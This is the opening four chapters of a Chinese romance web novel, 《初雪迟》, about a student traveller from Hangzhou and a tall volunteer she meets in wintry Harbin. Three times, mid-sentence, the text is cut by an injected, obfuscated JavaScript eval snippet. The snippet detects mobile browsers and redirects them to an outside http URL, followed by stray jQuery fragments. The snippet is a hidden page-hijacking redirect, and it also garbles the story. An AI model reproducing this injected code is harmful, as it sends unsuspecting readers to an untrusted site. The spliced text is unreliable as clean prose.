《初雪迟》
1. 谁家小孩
十二月,大部分城市已经彻底入冬,尤其是北方,温度降到了零度以下,陆陆续续飘起了今年冬天的第一场雪。
哈尔滨自十月起就是该穿羽绒服的天气了,十二月更是冷得骇人,即便这样,也丝毫不影响大家冬天到哈尔滨旅行的热情。
没见过雪的南方游客,巴不得雪再下得大些,一饱眼福。
“女士们,先生们,我们的飞机将要降落在哈尔滨市太平国际机场……”
飞机上响起播报,时漾透过舷窗往外看,现在才下午四点,哈尔滨的天色已经暗下来,各处的灯亮着,汇成一片,勾勒出一座繁华的城市。
只是,地上没有雪。
时漾有些失望,但也依然很期待这次旅行。
她收拾好随身物品下机,刚走上廊桥,她就隐隐能感觉到冷空气渗入,和南方湿腻腻的空气不一样,哈尔滨的冷风像是锐利的尖刀,直愣愣地从她脸上划过。
扯好脖子上的围巾挡住脸,时漾只想着赶快去拿到自己的行李换上厚棉服。
她从杭州直飞哈尔滨,身上还穿着适合杭州温度的秋装,没有意识到两地温差的可怕,她也没在身边留一件厚衣服。
站在取行李的地方等了很久,时漾都没有等到自己的行李。
哪怕机场大厅里的暖气开得很足,她的手脚都有些僵了。
她走上前去跟机场工作人员沟通,工作人员找了一阵,却告知她,她的行李有可能遗失了。
这两年哈尔滨旅游业发展的热火朝天,尤其是不少南方人为了看雪来到这里,她去年冬天就想来,但是因为其他原因耽误了。
她明年夏天毕业,现在为了自己的毕业设计发愁,想着来这里看看冰雕找找灵感,导师还很贴心地给她介绍了一个当地的冰雕大师,让她在这儿好好学习。
父母一开始还不太放心她自己飞这么远,她软磨硬泡,加上导师担保,好不容易才让他们点头,她期待满满地踏上旅程,没想到刚落地就遇到突发状况。
“实在是不好意思女士,我们会立刻帮您找。”,工作人员从柜台里推出一张纸,“您先填写一下行李遗失详情表,等找到了行李,我们会第一时间跟您联系的。”
时漾耐心地填好详情表交给工作人员,他们的服务态度很好,和网上说的一样,但是现在她面对的不仅是丢行李的问题,没有厚衣服,她连机场都走不出去。
“不好意思,主要是我带的棉服都在箱子里,能不能麻烦借一件棉服给我,等我去市里买好新衣服再来归还。”
工作人员听完,再次表达了歉意,“真的很抱歉给您带来了不好的体验,不过我们的工作制服不方便外借,您可以去那边联系文旅局的志愿者,他们会帮您解决。”
时漾顺着她手指的方向看过去,一群高个子的帅哥穿着红马甲,正围着一群旅游团的游客热情地欢迎,又是唱歌跳舞,又是喊麦送礼,吸引了周围的不少人拍照录视频。
虽然她早在网上看到了东北人的热情好客,那场面,也难免让她有些社恐退缩。
“他们……吗?”
工作人员笑着点头,“对的,您不用担心他们的业务能力。”
时漾咽了咽口水,不知道怎么解释自己只是不好意思,环顾一周,终于在角落里找到一个落单的志愿者。
既然没有加入欢迎仪式,那他应该也是社恐。
她鼓起勇气走过去,到他身边时才发现她只到男人的胸口,刚好能看见他脖子上的工作牌,上面只有名字和一张照片。
他叫江鸣。
她费力仰头,也只能看见他精致好看的下颌线紧绷着,小声试探了句,“你,你好。”
江鸣闻声低头,看见时漾仰着头站在自己身边,环顾四周之后眼神里闪过一丝慌乱,立刻掐着时漾的胳肢窝把她抱起来,
“哎哟,这谁家小孩儿没看好啊,大家快看看这是谁家小孩儿走丢了,家长快点儿来领哈。”
“……”谁是小孩儿?
大家的视线纷纷看过来,时漾难为情地红了脸,瞪了江鸣一眼,抬手压住挡着嘴巴的围巾,“你干嘛呀,我不是小孩儿,快点放我下来。”
江鸣迟疑了下,打量了一遍时漾。
一头栗色的长卷发散着,围巾遮住了半张脸,但能看出来脸圆圆的,眼睛很大,瞳孔是浅淡的琥珀色,看上去年纪不大,但确实不像小孩儿。
他稳稳将时漾放下,蹲下身让她可以轻松点低下头和他对视。
时漾终于看清了他的脸。
他的眉骨和鼻梁都很高,看上去有些凶悍,那一双桃花眼倒是中和了这一点,双眼皮很精致,嘴唇薄薄的,呈现着健康的浅淡粉色。
他的鼻尖上还有一颗痣,为他的长相添了些妖冶。
很纷杂的元素,每一个都会给人不一样的感觉,但在他的脸上又好像很和谐。
他长得很帅,勉强可以让人先不计较他刚才的冒犯。
时漾这样想着,将自己的困境向江鸣重复了一遍。
“我是来这里旅行的,但是现在行李丢了,身边没有厚衣服,工作人员说可以找你们帮我解决。”
江鸣了然地点点头,“这个应该是我们帮您解决,您在这里稍等我一下可以吗?”
她乖巧地应了声好,现在除了等安排,她也没有其他办法了,人生地不熟的,只能相信这些工作人员。
江鸣也很无奈,他只是一个被抓了壮丁来当志愿者的大学生,最多指个路列队欢迎一下,有什么特殊情况还是需要先向文旅局每天派来值班的负责人反映,让文旅局的人去解决。
他离开原地,个子高,步子也大,几步就已经走得远远地,只留给时漾一个模糊的背影。
他和负责人交流了一阵,很快就带着几个人回来了。
时漾紧张起来,除了生活中避不开的情况下,她不习惯跟陌生人交流,现在还在外地,她心里更加忐忑,和江鸣搭话时她还做了一番心理建设,现在直接来了一群。
幸好几人当中为首的是个和蔼温柔的女人,约莫三十出头的年纪,开口也柔声细语的,
“您好,我是今天文旅局值班的负责人,您的问题我已经了解了,这确实是机场工作的失误,一会儿我派车把您送到酒店安排入住,在帮您找到行李之前,您的衣食住行一切费用都由我们来报销。”
眼看负责人就要让人叫车,时漾赶忙摆手拒绝,
“不用了,我的证件和财物都没有丢,主要是我的衣服都在行李里面,没有厚衣服我实在是不方便,只有这一个问题,其他的不用那么麻烦了。”
时漾确实只有这一个问题,只需要一件棉服就能解决,而且等她出去买好新的衣服之后也可以把棉服还回来。
她也不想让人觉得自己是故意找茬来白嫖了。
“我们的工作疏忽就应该是我们来弥补,这些都是应该的,不用跟我们客气啊孩儿。”
轮不到时漾再说拒绝的话,领队就已经张罗着定下了把她送去哪个酒店入住,还有人跑过来说叫的车已经到了。
他们你一言我一语,时漾一句话都插不进去,迷迷糊糊的,她就已经被安排妥当,江鸣带着她往外面走。
文旅局的车开了进来,就停在出口的正门口,出站厅几步路的距离就能上车。
临出门的时候,江鸣突然站住脚步开始脱外套。
时漾吓了一跳,本来就有些没反应过来的脑子彻底宕机了。
“你......这是做什么?”
江鸣穿得是一件黑色的长款羽绒服,他把外套理好递给时漾,开口时语气很生硬,“你穿呗。”
“不,车不是就在门口,一出去就能上车吗?我不用了。”
“你第一次来,怕你出去受不了。”
“我,我没关系的,你穿上吧。”
她好歹还穿了一件大衣,江鸣的羽绒服一脱,里面就剩了一件单薄的毛衣,万一冻坏了就不好了。
江鸣
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879737|159752||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看她支支吾吾,看了一眼自己手上的外套,耳根染上些绯红,
“不好意思嗷,我没有别的意思,晚点儿我们会给你准备新的厚衣服送过去。”
他来这里当志愿者有段时间了,也知道南方的小姑娘和东北的不同,大都更内敛腼腆些,也不太习惯对陌生人太热情,更别说上来就穿陌生异性的外套了。
他今天一时没留意,只想着不能让人冻着,也不知道时漾会不会觉得被冒犯了。
“我不是这个意思。”
时漾也意识到了江鸣误会了自己,急忙解释,“我是觉得你里面的衣服也很薄,所以......”
话说到一半,时漾又觉得这个解释显得很多余,还容易惹人误会。
江鸣可能只是作为志愿者服务她的,但是她这样说就像是在关心他,很奇怪。
算了。
时漾抿唇,接过了他递过来的衣服,“我穿。”
不过她也没有真的穿在身上,只是披着。
在江鸣身上刚过膝盖的羽绒服连她的脚踝都盖得很严实,几乎要拖地,她无意识地耸着肩,生怕走路的时候蹭脏了衣服下摆。
走出门,江鸣先上前拉开车门,一转眼就看见小姑娘肩膀微耸,慢悠悠地走着。
像一只小企鹅。
时漾提着衣服小心地上了车,江鸣上了副驾,她把衣服拿下来递给他,他很自然地接过去叠好搭在腿上,向司机说明了目的地。
路上,时漾依然很拘谨,江鸣就自来熟得多。
“诶,你看那个,那个是索菲亚教堂,就那个尖顶,不过现在这个点那边特堵,咱们不能走那边,你改天过来玩儿别打车嗷。”
司机配合着江鸣的讲解,把车速放缓了些,但时漾还没来得及从窗外看见他说的尖顶,他的手又指向另一边,
“对面那个店,就那个门头不咋好看那个,他家铁锅炖老好吃了,来这边玩儿的话可以尝尝哈。”
“这我不赞同哈,哈尔滨铁锅炖还是要看山河屯,那个才好吃呢。”司机也十分自然地加入话题。
江鸣摆摆手,“那个动不动排几个小时队,对于游客来说不值当。”
反驳完司机,他侧头看了时漾一眼,“你还是听我的啊。”
“下午早点那会儿,他门口还会有个卷饼的小摊,那个也好吃,以前就在学校门口摆摊的。”
“......”
原来他也不是社恐......
走到半路,江鸣问司机要了一张出租公司收集乘客意见的便签纸,写了一阵递给时漾,
“忘了介绍,我叫江鸣,这是我的电话,你在哈尔滨期间有什么事需要帮忙都可以打给我。”
时漾刚打算接过来,他忽然收回手又低头写了会儿,补充道,
“下面这个是你今天见过的那个女负责人的,她姓张,你可以叫她张姐,如果你觉得不方便找我的话可以联系她,都一样的。”
看着纸上的两个电话,时漾不免感叹江鸣的细心。
这会儿才下午四五点钟,哈尔滨的光线已经昏暗下来,车上没有开灯,看东西已经不大清晰,江鸣是把纸放在手心写的,字迹有些歪扭,但也能看出他的字不难看,有种独特的力量感。
时漾小心把纸收好,又谢了几遍江鸣和张姐。
顿了顿,她再次开口,“我叫时漾,荡漾的漾。”
江鸣也愣了下,点头,“我记住了。”
下车时,江鸣又将羽绒服递给她,她这次没有拒绝,等到她在酒店前台登记完,江鸣准备告辞,
“那我就不送你上去了,晚点有人送衣服来会让前台联系你,有事尽管打电话给我。”
时漾点头,江鸣转身离开,刚走出几步,又忽然转回来,
“今天是我唐突了,如果你在这边玩需要导游的话,可以联系我。”
想到在机场的尴尬场面,时漾抬手扯了扯围巾,把鼻尖也藏进围巾里,闷声道,“好。”
2. 未接来电
在机场时张姐让江鸣送完时漾直接下班,他也没有推脱,见人上了楼,就拜托司机把他送回家。
“小江回来啦,今天早了点哈,不过你怎么连个棉袄也没穿啊。”
“到市区送了个人,就顺路下班了,莫爷爷去买菜了啊,我帮你提。”
“就这点菜我自己能提,晚上过来跟我一起吃饭啊。”
“行。”
近年哈尔滨旅游爆火,文旅局拿体院的男大学生当宣传手册,他们学校的不少学生都被抓了壮丁,他这两年都参与,身边的邻里也都知道这事儿,不用过多解释。
他和莫爷爷住对门,他是独居青年,莫爷爷是独居老人,他没事帮忙搬东西修电器,莫爷爷就时不时邀请他过去吃饭,互相照应,关系比较亲密,不是外人。
-
回到酒店房间,时漾先给家里人打电话报平安。她刻意向父母隐瞒了丢失行李箱的事,生怕他们一言不合打飞的过来。
晚饭时间,酒店前台送来了餐食,还有文旅局给她准备的厚衣服,黑色的长款羽绒服,保暖衣裤,雪地靴还有一些洗漱用品和取暖工具,塞了满满当当三个大袋。
“时小姐,机场那边已经查到是有人错拿了您的行李,正在联系对接,等对方送回后会尽快送到您手里。”
“麻烦您了。”
在路上折腾了一天,时漾没什么精神,略微吃了几口就填饱了肚子,掐着时间给导师打了个电话。
她这次来东北要拜访的冰雕大师是顾赟的旧友,他还托时漾带了些礼物来,只是那些礼物现在也和她的行李一起处在遗失状态。
“欧呦,怎么那么不小心的呀你。”
顾赟那边有些细碎的杂音,远远还传来广场舞的音乐声。
这个时间点他一般是刚吃完晚饭和妻子在小区楼下散步,他之前特意交代过,非上班时间如果打电话给选这个点儿,尽量避免和他单独的会面和通话,他年纪大了,不想晚节不保。
时漾叹了口气,“所以我想问问您,我明天联系莫老师,礼物等找回之后再转交合适吗?”
顾赟是个典型的搞艺术的小老头,思维跳脱,和学生相处时没有老师的架子,但有时候也难免过于不像老师,显得很不靠谱。
有些问题时漾如果不直接问出口,他可能永远都想不到。
“那有什么关系的了,我和他那么多年交情,还不至于不带礼物就把你赶出去呢,你直接联系就是了。”
“好......”
酒店房间里暖气很足,只穿着打底衫也会觉得热,但却正是适合睡觉的温度。
摆脱了南方冬天空气里无孔不入的湿冷,时漾难得睡了个好觉,一夜无梦。
次日的第一件要紧事就是联系导师介绍的冰雕大师莫青海,不管怎么说也算是拜师学艺来的,不能懈怠。
老艺术家的手机彩铃是一首很喜庆的东北风歌曲,一直在她耳边敲锣打鼓得响了一分多钟,直到电话要被自动挂断的时候,终于被人接起来。
“莫老师您好,我是时漾。”
“哦哦,小时啊,我差点都忘了,你到东北了吧?安置好了吗?还习惯吧?”
“昨晚刚到,不知道什么时候去拜访您合适。”
莫青海吸吸鼻涕,嘶了一声,“我跟老顾那么铁的关系,你也不用跟我客气,没啥拜访不拜访的,就是我这几天手头有些工作走不开,你研究课题这事儿得缓几天了。”
“没关系,我等您。”
“那行,这段时间你可以先玩几天,你要是想来冰雪大世界看看冰雕的话,我一会儿跟园区的人打个招呼,改天你来就不用买票了,其他的需要什么就跟我说,等我忙完这几天给你接风。”
“好的,莫老师,麻烦您了。”
“你这孩子,还是客气,顾赟那老小子自己说话就拿腔捏调的,带个学生也给带成这样,没意思。”
时漾有些无措,只听见电话那头的莫青海声音高昂,
“在我这儿你就大大方方的,把我当一家人就行,什么都不用跟我客气哈,我先忙去了,改天咱们再好好聊。”
“好的莫老师。”
落地哈尔滨还不到一天,时漾就已经深刻地体会到东北人骨子里的热情与大方,那是一种纯粹的,没有目的的亲近与宽和。
莫青海比顾赟还没有架子,似乎全然将她当做自家小辈对待,让她的客气和礼貌都显得有些生硬。
-
这几日哈尔滨的天气预报里都没有雪,甚至还是大晴天,但是气温依然低得让时漾不敢相信自己看见的数字。
文旅局送来的棉服很厚实保暖,但她一时半会儿还不习惯,只觉得臃肿,行动都变得迟缓。
她只在酒店周边转了一圈,就冻得有些恍惚,连手机也罢了工,满电就关了机。
惜命地回到酒店,她终于开机的手机屏幕上弹出三个未接来电,还没来得及看清来电人,她就看见张姐和另外一个挂着工作牌的男人拉着她的行李箱迎上来。
“时小姐,你的箱子我们找到了,给你打电话你没接,我们就直接给你送过来了。”
“啊,不好意思,我手机在外面冻关机了,麻烦你们了。”
张姐和同事相视一笑,“在这边就这样,出门也要给手机贴个暖宝儿。”
时漾也抿唇笑了下,“下次就知道了。”
他们在大堂的角落清点好了行李箱里的物品,确认没有缺少和遗落,张姐似乎是放下了一件心事,
“都在就好,不管怎么说行李丢失是我们的工作疏忽,再次向你表达我们的歉意,你在哈尔滨期间的住宿费用都由我们承担,希望你能玩得开心。”
没来得及推脱,张姐就要告辞,时漾只能和她说了再见,还没走出两步,又忽然想起,
“对了张姐,江鸣今天怎么没过来。”
张姐顿住脚,有些诧异,“他近期有其他私人安排,暂时不会参与志愿服务了,怎么了?”
“没,没事,随口问一句。”
她本来是想着江鸣的羽绒服还在她这里,要找个机会还回去,穿异性衣服这件事又很暧昧,她不好意思直接说让张姐转交才问了这么一句。
她们只有一面之缘而已,这个问法却好像她很想再次见到他。
下次说话一定要先过脑子......
回到房间再次清点整理了物品,时漾从酒店的干洗房取回了江鸣的羽绒服,犹豫了一会儿,还是拨通了他的电话。
无人接听。
-
“啧。”
孔章抱着手臂,眉头蹙得很深,看上去对江鸣刚才的表现很
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879738|159752||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不满意。
记录员站在他旁边大气都不敢出,战战兢兢地将刚刚的记录视频递过去,
“你过来看回放。”
江鸣边过去,边整理着身上的装备,认真道,“腾空高度不够,空中姿态不好,我知道。”
“你知道,那你是虎吗,腾空高度不够都敢做技巧,着急退役了吗?”
“早跟你说了今年就不要去做志愿者了,吃力不讨好还耽误训练,你回去多加一组腰腹力量训练。”
他已经把自己的错误总结好了,孔章也不好再多说什么,这样的队员是省心,但总叫人心里憋着火。
“回去再来一次,这次注意控制。”
“好。”
江鸣点头,刚准备转身回起点,记录员就小声开口,
“那个鸣哥,刚刚有个电话进来,是个陌生号码。”
他看了眼孔章的神色,没有接手机,“训练结束后再说。”
孔章深吸了一口气,“先休息,你处理一下。”
几年前孔章刚进队里当教练时十分严肃古板,禁止学员把手机带入训练场,训练过程中不允许人打扰,不允许处理自己的私人事情,如果非要处理那就先停训一周,处理好了再来。
也是经过一些事之后,他的雷霆手段才宽松了些,允许队员把手机交给记录员保管,留意手机消息。
江鸣没说话,走到一旁去处理,未接来电的那串号码下写着归属地。
杭州。
脑海里无意识浮现出昨天那个才到自己胸口的女孩。
虽然昨天没有问她从哪里来,但是他从小学到大学都没有离开过哈尔滨,见过的南方人少之又少。
最近给了电话的,也只有她。
电话回拨过去,对面接得很快。
“喂,我是时漾。”
一接起电话,时漾就迫不及待地自报家门,握着手机的手心有些黏腻。
每次一打电话,她就止不住的紧张。
她不喜欢打电话,尤其是和不太熟悉的人。
她也知道同龄人大多数和她一样,但无奈,在成年人的世界里电话是比较礼貌且正式,也是更具有效率的社交方式。
“我知道,怎么了?”
“张姐今天把我的行李送来了,我想问问你什么时候方便,我把你的衣服还给你。”
他常年在哈尔滨住,衣柜里的棉服没有十件也有八件,不急着让时漾还,而且她对哈尔滨并不熟悉。
江鸣想了一下,“你什么时候方便,我去找你取吧。”
顿了顿,他又道,“或者你这几天有什么参观计划,我可以给你当导游,全当是为那天的冒犯赔罪。”
“我……”
时漾犹豫,不知道该不该接受江鸣的提议。
虽然说她来之前就给自己做了心里建设,尽量习惯东北人的热情好客,但是和陌生人一起出去玩还是有点超出她的接受范围。
“不用着急,你可以慢慢考虑,东北要真想玩儿透,得要个十天半个月呢,你想好了再给我打电话,或者发微信都可以,我的微信和电话一样。”
“好……”
莫名其妙加上了江鸣的微信,一直到挂断电话也没说到底什么时候把他的羽绒服还回去,时漾叹了口气,又把装好的衣服拿出来挂上。
3. 你多高啊
“亲爱的,你需要帮忙吗?”
“你是不是要去冰雪大世界玩,带没带暖宝宝,要不要我们带你去。”
“不,不用了,我在等人,谢谢你们。”
面对当地女孩热情的询问,时漾连连摆手,往后退了几步。
她局促地站在原地,地铁站里熙熙攘攘,不断有地铁到站,行人上车下车,她总觉得有许多人朝她投来视线,甚至陆陆续续又来了几个本地人问她需不需要帮忙。
她一个一个笑着拒绝,一次次后退,恨不得找个地缝钻进去。
在她就快要打退堂鼓的时候,终于看见从刚到站的地铁上下来的江鸣。
“实在不好意思,我来晚了。”
江鸣连声道歉,顺手把她手上的手提袋接过去。
“没关系,我们快走吧。”
时漾转头闷声往出站口走,江鸣刻意压着脚步,在她身后半步的距离,恰好能挡开有些拥挤的人群。
但他不知道,此时前面的小姑娘心里全是后悔。
她前几天就打算去冰雪大世界参观,但是每一天都有很多人排队,因为一些其他原因,还总有人嚷着退票,她担心自己的安全问题,就约了江鸣一起。
没想到场面会如此尴尬。
乘自动扶梯出站,时漾清晰感受到逐渐凌厉的风,把围巾往上扯了扯,这几天她对哈尔滨的低气温有了初步的了解,但是每次出门还是会被冷得发懵,再次刷新自己的认知。
“戴上帽子。”
柔软温暖的帽子将围巾盖不住的耳朵罩住,时漾还能感觉到脑后被一双有力的大掌托了下。
她侧眸,见江鸣从她身侧三步并两步往上跑,
“一会儿在出站口的檐下等我。”
他很快消失在视线里,出了站,时漾下意识寻找江鸣的去向,也没有按照他说的站在原地。
她是真的害怕再有人上来问她需不需要帮助。
地铁口的路边有很多小摊,卖小吃热饮,还有保暖的围巾帽子手套,江鸣正站在一个小摊前和摆摊的大娘讨价还价。
“哎呀姨,你就给我便宜点呗,这冷的天儿,卖一个是一个哈。”
“你这大小伙子,给女朋友买还不舍得花钱呢怎么。”
女朋友?谁?
时漾眨眨眼,本来以为江鸣会第一时间澄清,没想到江鸣只是笑起来,
“我可没不舍得,这叫该省省该花花。”
“哎呦行行行,你这嘴皮子溜,给你给你。”
江鸣高高兴兴地付款揣着刚买的手套帽子往回走,一转头就看见了时漾。
他愣了下,跑过来把东西塞到时漾怀里。
“戴上吧,里面冷。”
他买的有帽子,手套,还有一个耳罩,都是很可爱的白色兔子款式,和她今天穿得白色羽绒服也很搭。
“谢谢,多少钱?我把钱转你。”
时漾没有推脱,毕竟确实很冷。
只是站了这几分钟,她就想要吸鼻涕了,刚刚江鸣给她戴上的羽绒服帽子灌满了凉风,还要顺着她的脖子往后背钻。
“没多少钱,我砍价了,走吧。”
江鸣带着她继续往目的地走,路上她还是忍不住开口,“你刚刚砍价……”
时漾支支吾吾的,话还没说完,就被江鸣接过话头去,
“我知道网上老说现在年轻人不好意思砍价,这句话在我们这儿不成立,砍价可是每个东北孩子的必备技能,小时候家长没少让训练,出门不说话要挨骂的。”
时漾被江鸣逗笑,气氛缓和一些,她还是问了出来,“我是说,刚刚的阿姨误会你……”
空气安静了一瞬,他没想到时漾听到了刚刚他和摊主的对话,虽然都是胡说八道,但是他也能理解女孩子脸皮薄,听到这种话会不自在。
“你别往心里去,砍价嘛,都是乱说的,而且咱们又不认识,不用那么刻意的解释。”
“噢……”
好像也有道理,确实没必要刻意向萍水相逢的人解释两人之间的关系。
冰雪大世界和往常一样排着长队,哪怕周边的气温比天气预报上的气温还要低上几度,也一点无法磨灭大家的热情。
时漾给莫青海去了个电话,很快就有一个工作人员带着他们从员工通道进去,直接就到了参观区的侧面,入目是各种各样的鬼斧神工。
江鸣好奇地左顾右盼,感叹道,“还挺新奇的,第一次走后门白嫖。”
如果他都觉得新奇,时漾更是无话可说了,来之前她早就在网上刷到过很多冰雕的视频和图片,但是都和亲眼见到不同,眼前的景象几乎让她震惊地合不拢嘴。
顺着视线看过去,遍地都是不同的冰雕,大部分都有两层楼那么高,雕工精细,栩栩若生,冰块在阳光下折射着独特的光彩。
在整个园区中心的那个冰雕,即使还站的很远,也依然要仰头去看,高度已经不是她能估量的,估计得有五六层楼高。
比起她学的那些泥塑和石雕,很明显是冰雕的难度更大,冰块比石块更脆弱,而且还是透的,一旦雕刻过程中产生任何瑕疵都将很清晰地影响整个作品的呈现。
她可以做石雕,但冰雕是肯定不行的。
时漾迫不及待地一头扎进对艺术的欣赏中,江鸣先将手上的东西交给工作人员寄存,才抬步追上去。
时漾从背包里掏出了一个笔记本,摘掉了右手的手套,拍照,做笔记,忙碌的不行。
她的手很快因为暴露在空气中变得通红,关节也僵硬起来,但她下笔的速度却没有丝毫放慢,生怕下一秒这些冰雕就消失在自己眼前似的。
江鸣从口袋里摸出一个暖宝宝递过去,“贴在袖子
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879739|159752||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里会暖和一点,一会儿手冻了会疼很久。”
“好,谢谢你。”
她着急继续欣赏冰雕,径直把笔记本和手机塞进江鸣手里,把暖手宝塞进自己的袖子。
即使是再这样的环境里,笔记本上的字迹依然清秀好看,她的字迹和她本人的娇小可爱不同,更多了几分明艳大气,像是专门练过。
把笔记本还给时漾,他主动提议,“我帮你拍照吧。”
“好呀,麻烦啦。”
涉及到她的专业领域,她整个人都自然活泼了不少,看着看着,突然开始给江鸣讲解专业的技法知识。
江鸣跟在她身后帮她记录拍照,还十分耐心地听她的讲解,尽管许多专业名词他听不明白。
小姑娘蹦蹦跳跳的,嘴巴叽叽喳喳不停,像一只小麻雀。
她脸颊冻得通红,但还是绽着笑容,每一次开口都会吐出一阵白色的雾气,和她身上的各种毛茸茸一起,将她衬得格外可爱。
排队等待参观中心最大的冰雕作品时,两个人终于能停下来休息,时漾翻看着手机相册里江鸣帮她拍摄的照片,连着翻到最开始她自己拍摄的几张,她的笑容一时间凝固在脸上。
江鸣的拍摄视角和她的肉眼可见的不同,她很显然仰视了许多,勉强将完整的冰雕作品收进取景框,而江鸣的,虽然也是仰视,但看起来自然许多。
她瘪瘪嘴,下意识仰头用眼睛衡量两人的身高差。
和在机场见到那天一样,她只能看到他的下巴,下颌线紧绷着,线条流畅。
“江鸣,你有多高。”
不知道他在抱着手机看什么,竟然一时间没有回复,时漾扯了扯他的袖子。
“江鸣。”
江鸣如梦初醒,微微俯身,“啊?怎么了?我没听到。”
“……”
只在小说里见过接吻要弯腰的,他们两个怎么连说话都要弯腰。
“我想问你有多高。”
“我?”江鸣思索了下,“好像是185吧,很久没量记不清了。”
185……
他们差了整整二十九厘米!老天也太不公平了吧。
她做梦都想成为一个170的大长腿明艳美女,结果长到20岁还是只有156,身高不够,只能总走萌妹路线。
要不然第一次见面时也不会被江鸣当成小孩儿。
江鸣意识到她的情绪不对,扯了扯她耳罩上的兔子耳朵,
“你跟我一个男人比什么身高,你这个身高挺好的,很可爱。”
“……”
一点也不喜欢可爱,尤其是会被别人当成小孩儿的那一种!
眼见时漾还是不说话,情绪似乎更糟糕了,江鸣有些无措,也不知道自己哪句话说的不对,急忙转移话题,
“走走走,队往前走了,马上到我们了。”
4. 小孩儿去那边
提到冰雕,时漾就把刚刚关于身高的讨论抛到了脑后,连声赞叹工匠技巧的高超。
小姑娘神采奕奕,专业术语一个接一个地往外蹦。
“不知道的还以为你是我花钱找的专业讲解呢。”江鸣开口调侃了一句。
时漾也骄傲地扬了扬下巴,虽然她还没毕业,没有特别厉害的作品,但是好歹也是老师的得意门生,基础知识还是十分牢固的。
“你瞅瞅人家家的孩子,懂得那么多,你就知道去玩滑梯。”
“......”
她嘚瑟的话还没说出口,就被旁边路过的阿姨打断了施法,时漾看过去的时候,阿姨旁边的小男孩甚至朝她投来了幽怨的目光。
头顶传来一声轻笑,她抬头瞪了江鸣一眼,“笑什么!一点也不好笑!”
说完,她上下打量了自己一遍,“我哪里很像小孩儿吗?”
虽然打扮看起来是幼稚了一些......
“那我是不是要问一句,我难道和你很像……”父女吗?
看着江鸣一脸认真地挑了挑眉,时漾噗嗤笑出了声。
被当成小孩儿也可能是她长得显小,总比被人莫名加了一辈强。
“冰雕看完了,咱们去玩游乐设施设备吧!”
“啊?”
她的情绪来得快去得也快,江鸣还没反应过来,她就已经兴冲冲地跑出去了。
他们在园区里整整参观了三个多小时,江鸣此时都冻得有些麻木了,也不知道时漾一个南方人,怎么一点也不喊冷。
搓搓手跟上去,时漾已经进入了大滑梯的队列,跳起来朝他招手。
“大家抬抬头嗷,注意一下滑梯是分区的,小孩儿请在最右边的滑道排队,不要弄错了,弄错了上去不给滑的哈。”
旁边的工作人员拿着大喇叭维持秩序,从时漾旁边路过时,顿住脚步,
“诶小姑娘,我喊了半天小孩要去右边排队,咋不听呢?”
“不好意思,我成年了。”时漾撇嘴,有点委屈。
大哥上下打量了她一遍,“你糊弄鬼呢?你咋看都是小孩儿,你家长呢?”
她下意识转头去找江鸣,大哥顺着她的视线看过去,一把将被人群挡住的他薅出来,“你是她家长啊?”
“……”
江鸣看了时漾一眼,刚刚才被他高情商哄好的小姑娘这会儿又满脸写着不高兴,他尴尬地笑了笑,“哈哈,是。”
大哥眯了眯眼,“你东北的啊。”
“对大哥,我本地的。”
“我咋感觉她不像本地的?你到底是不是她家长。”
大哥手上的大喇叭没关,尽管没有刻意放在嘴边,他们说话的声音还是比周围人大了很多。
他这话一出,周围的人都朝这边看过来,有几个排在后面的大哥往时漾身边靠了靠,甚至还有几个站到江鸣身边。
一副只要工作人员一声令下他们就把他按在地上的架势。
时漾面露茫然,不太清楚周围人这幅架势是什么原因,但江鸣可太清楚了。
一生正义的东北人这是把他当成坏人了,只要时漾敢说一句不认识他,他下一秒就要挨揍了。
“那个,我虽然不是她家长,但是我们是一起的,一起来的。”
江鸣一边着急忙慌地解释,一边给时漾使眼色,“你说句话呀。”
“你闭嘴,让人姑娘自己说。”
大哥打断江鸣,自己转头微微弯腰小声问时漾,
“小姑娘,你认识他吗?”
“我们是一起来的......”
大哥看看时漾,又看看江鸣,面色依然戒备,
“你跟他在这儿你家长知道吗?小姑娘,你看人不能只看表面的啊,有的年轻小伙子长得挺帅的,他不负责的。”
“......”
江鸣一时之间也不知道该庆幸大哥暗指他长得不错,还是该哭一下自己先是被当成长辈又被当成哄骗小姑娘的不正经的人。
他脸上的表情很精彩,脸青了又红,把时漾给逗笑了,为了不让大家担心,她没有多看热闹,很快解释清楚,
“谢谢各位关心,我真的已经成年了,来这里旅行,这是我的导游,不是坏人。”
江鸣也给自己辩解,“哥,我前几天还在机场当志愿者呢,真不是坏人,我知道她们现在是咱们哈尔滨的小金豆,那咱们也不能连最基本的信任都没有了啊。”
尽管有时漾的担保,大哥对江鸣的敌意丝毫未减,给了他一个白眼,只是再次叮嘱时漾注意自身安全,最后才想起来自己的本职工作,
